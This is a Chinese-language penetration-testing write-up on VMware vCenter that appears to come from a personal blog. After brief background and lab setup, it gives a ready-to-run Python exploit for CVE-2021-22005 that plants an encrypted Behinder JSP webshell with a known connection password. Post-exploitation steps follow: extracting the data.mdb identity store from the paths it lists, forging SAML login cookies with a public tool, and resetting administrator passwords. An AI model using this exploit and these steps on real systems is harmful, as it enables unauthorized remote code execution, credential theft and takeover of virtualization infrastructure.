Vcenter渗透
1.vSphere背景介绍
- VMware Inc
VMware Inc 是一家软件公司。它开发了许多产品,尤其是各种云解决方案 。它的云解决方案包括云产品,数据中心产品和桌面产品等。
- vSphere
vSphere 是在数据中心产品下的一套软件。vSphere 类似微软的 Office 办公套件,Office 办公套件包含了许多软件如 Word,Excel,Access 等。和 Office 一样,vSphere 也是一个软件的集合。它包括了 vCenter Server, ESXi 和 vSphere client,是整套虚拟化部署方案的总和。
- ESXi
ESXi 是 vSphere 中最重要的一个组件。ESXi 是虚拟化服务。所有的虚拟机都是运行在 ESXi 服务上面。
- vSphere Client
vSphere (web) client 是一个管理平台,它能够直接管理多个不同的 ESXi 主机,包含许多进阶功能:集群故障转移等。而 ESXi 自带的管理平台只能管理自身所处的 ESXi 主机。而 vSphere client 有更加详细的性能监控,批量更新接管所有 ESXi 系统版本。通过资源池也可以规划虚拟机资源占用。
- vCenter Server
在 ESXi 6.0 之前是通过 C/S 架构来管理 ESXi 集群的,没有 web 端,且安装环境较为苛刻,必须为 Server 版本的服务器才可以安装。在 6.0 版本之后,官方已经取消了 C/S 架构的客户端,转而采用了 web 管理平台,又被称之为 vSphere web client。而部署了 vSphere web client 的服务器被称之为 vCenter Server。
官方推荐将打包好的 Client 与 Server 应用部署在 VMware 自家的 Photon 系统下,其安装包命名为:VMware vCenter Server Appliance,简称为:VCSA。
2.漏洞利用
2.1环境搭建
先放出参考文章
https://blog.csdn.net/xumneg111/article/details/120873391
https://blog.csdn.net/Rio520/article/details/115664112
经过几经周折,最后终于搭建好了ESXi+vcenter的环境。有想讨论的师傅可以来跟我讨论
中间踩坑:内存和硬盘刚开始分配的不太够。导致没装好。
默认网关配置错误导致报错。
2.2版本信息探测
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soap:Header>
<operationID>00000001-00000001</operationID>
</soap:Header>
<soap:Body>
<RetrieveServiceContent
xmlns="urn:internalvim25">
<_this xsi:type="ManagedObjectReference" type="ServiceInstance">ServiceInstance</_this>
</RetrieveServiceContent>
</soap:Body>
</soap:Envelope>
通过调用VMWareSphere组件的SOAP API获取版本信息
2.3 CVE-2021-22005
影响版本
针对 CVE-2021-22005 VMware vCenter Server 任意文件上传漏洞
VMware vCenter Server 7.0系列 < 7.0 U2c
VMware vCenter Server 6.7系列 < 6.7 U3o
VMware vCenter Server 6.5系列 不受漏洞影响
检测方法
我们可以针对 /analytics/telemetry/ph/api/level 端点执行更相关的 cURL 请求来识别是否受影响
curl -k -v "https://$VCENTER_HOST/analytics/telemetry/ph/api/level?_c=test"
•如果服务器以 200/OK 和响应正文中除“OFF”以外的任何内容(例如“FULL”)进行响应,则它很容易受到攻击。
•如果它以 200/OK 和“OFF”的正文内容响应,则它很可能不易受到攻击,并且也未修补且未应用任何变通方法。
•如果它以 400/Bad Request 响应,则对其进行修补。此检查利用以下事实:修补的实例将根据已知/接受的收集器 ID 列表检查收集器 ID (_c)。
•如果它以 404 响应,则它要么不适用,要么已应用解决方法。该解决方法会禁用受影响的 API 端点。 任何其他状态代码可能暗示不适用。
漏洞EXP
import requests
import random
import string
import sys
import time
import requests
import urllib3
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
def escape(_str):
_str = _str.replace("&", "&")
_str = _str.replace("<", "<")
_str = _str.replace(">", ">")
_str = _str.replace("\"", """)
return _str
def str_to_escaped_unicode(arg_str):
escaped_str = ''
for s in arg_str:
val = ord(s)
esc_uni = "\\u{:04x}".format(val)
escaped_str += esc_uni
return escaped_str
def createAgent(target, agent_name, log_param):
url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=%s&_i=%s" % (target, agent_name, log_param)
headers = { "Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0",
"X-Deployment-Secret": "abc",
"Content-Type": "application/json",
"Connection": "close" }
json_data = { "manifestSpec":{},
"objectType": "a2",
"collectionTriggerDataNeeded": True,
"deploymentDataNeeded":True,
"resultNeeded": True,
"signalCollectionCompleted":True,
"localManifestPath": "a7",
"localPayloadPath": "a8",
"localObfuscationMapPath": "a9" }
requests.post(url, headers=headers, json=json_data, verify=False)
def generate_manifest(webshell_location, webshell):
manifestData = """<manifest recommendedPageSize="500">
<request>
<query name="vir:VCenter">
<constraint>
<targetType>ServiceInstance</targetType>
</constraint>
<propertySpec>
<propertyNames>content.about.instanceUuid</propertyNames>
<propertyNames>content.about.osType</propertyNames>
<propertyNames>content.about.build</propertyNames>
<propertyNames>content.about.version</propertyNames>
</propertySpec>
</query>
</request>
<cdfMapping>
<indepedentResultsMapping>
<resultSetMappings>
<entry>
<key>vir:VCenter</key>
<value>
<value xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="resultSetMapping">
<resourceItemToJsonLdMapping>
<forType>ServiceInstance</forType>
<mappingCode><![CDATA[
#set($appender = $GLOBAL-logger.logger.parent.getAppender("LOGFILE"))##
#set($orig_log = $appender.getFile())##
#set($logger = $GLOBAL-logger.logger.parent)##
$appender.setFile("%s")##
$appender.activateOptions()##
$logger.warn("%s")##
$appender.setFile($orig_log)##
$appender.activateOptions()##]]>
</mappingCode>
</resourceItemToJsonLdMapping>
</value>
</value>
</entry>
</resultSetMappings>
</indepedentResultsMapping>
</cdfMapping>
<requestSchedules>
<schedule interval="1h">
<queries>
<query>vir:VCenter</query>
</queries>
</schedule>
</requestSchedules>
</manifest>""" % (webshell_location, webshell)
return manifestData
def arg():
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help = "Target", required = True)
args = parser.parse_args()
target = args.target
print("[*] Target: %s" % target)
return target
def exec():
target = arg()
# Variables
webshell_param = id_generator(6)
log_param = id_generator(6)
agent_name = id_generator(6)
shell_name = "Server.jsp"
webshell = """<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>"""
webshell_location = "/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/%s" % shell_name
webshell = str_to_escaped_unicode(webshell)
manifestData = generate_manifest(webshell_location,webshell)
print("[*] Creating Agent")
createAgent(target, agent_name, log_param)
url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=%s&_i=%s" % (target, agent_name, log_param)
headers = {"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0",
"X-Deployment-Secret": "abc",
"Content-Type": "application/json",
"Connection": "close"}
json_data ={"contextData": "a3", "manifestContent": manifestData, "objectId": "a2"}
requests.post(url, headers=headers, json=json_data, verify=False)
#webshell连接地址
url = "%s/idm/..;/%s" % (target, shell_name)
code = requests.get(url=url, headers=headers,verify=False).status_code
if code != "404":
print("webshell地址: %s" % url)
print("[*]冰蝎3.0 Webshell连接密码: rebeyond" )
else:
print("未获取到webshell地址")
if __name__ == '__main__':
exec()
此外,Vcenter还有其他版本的漏洞。这里只复现了一种(待填坑)
3.后渗透测试
3.1 SAML登录
vSphere 5.0 版本引入了 SSO,支持使用 SAML 作为授权服务支持。当用户登录服务时,该服务会将身份验证请求转发给 SAML 。SAML 验证用户凭据是否正确以及他们是否有权访问指定的服务。
从这个路径获取data.mdb
windows:C:/ProgramData/VMware/vCenterServer/data/vmdird/data.mdblinux:/storage/db/vmware-vmdir/data.mdb
获取data.mdb后用脚本进行解密
git clone https://github.com/horizon3ai/vcenter_saml_login.git
python3 vcenter_saml_login.py -p data.mdb -t 1.1.1.1
中间需要安装一些库。其中ldap库pip不好装,需要先装环境
https://www.lfd.uci.edu/~gohlke/pythonlibs/# python-ldap
目标机器内网ip需要本地可以访问到,否则无法伪造cookie。
python vcenter_saml_login.py -t <目标机器内网ip> -p data.mdb
伪造好cookie以后
先修改cookie后点击
即可登录后台。
3.2修改密码
可以直接通过/usr/lib/vmware-vmdir/bin/vdcadmintool
修改密码。然后登陆即可
这里是我自己搭建的演示环境,所以没有集群机器